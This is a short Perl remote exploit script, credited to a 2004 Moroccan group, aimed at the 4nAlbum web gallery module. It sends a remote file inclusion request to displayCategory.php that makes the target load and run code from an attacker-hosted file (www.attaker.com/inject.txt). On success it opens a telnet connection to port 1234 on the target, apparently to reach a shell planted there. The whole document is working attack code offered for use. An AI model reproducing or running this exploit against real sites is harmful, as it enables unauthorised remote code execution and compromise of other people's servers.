require LWP::UserAgent;
use Getopt::Std;

getopts('t:d:');
our($opt_t, $opt_d);

my $target = $opt_t;
my $dir = $opt_d;

print "Usage: perl 4nalb.pl -t <target> -d <directory>\n\n";
print "Remote Exploit 4nAlbum by adil At ccc.ma & alaa_eddine83 At hotmail.com\n";
print "#############################\n";
print " Moroccan Security Radar\n";
print " CCC MAROC 2004 \n";
print "#############################\n";
print "Target: $target\n";
print "Directory: $dir\n";

my $ua = LWP::UserAgent->new;
$ua->agent("Linux");
$ua->timeout(10);
$ua->env_proxy;

$req = "http://$target/$dir/modules/4nAlbum/public/displayCategory.php?basepath=http://www.attaker.com/inject.txt?&cmd=";

my $response = $ua->get($req);
print "++++++++++++++++++++++++++++++++++++++++++++++++\n";

if ($response->is_success) {
print "Vuln - Vuln - 3 - 2 - 1 ------\n";
print "connected\n";
sleep(3);
exec("telnet $target 1234");
} else {
die $response->status_line;
}

print "++++++++++++++++++++++++++++++++++++++++++++++++++\n";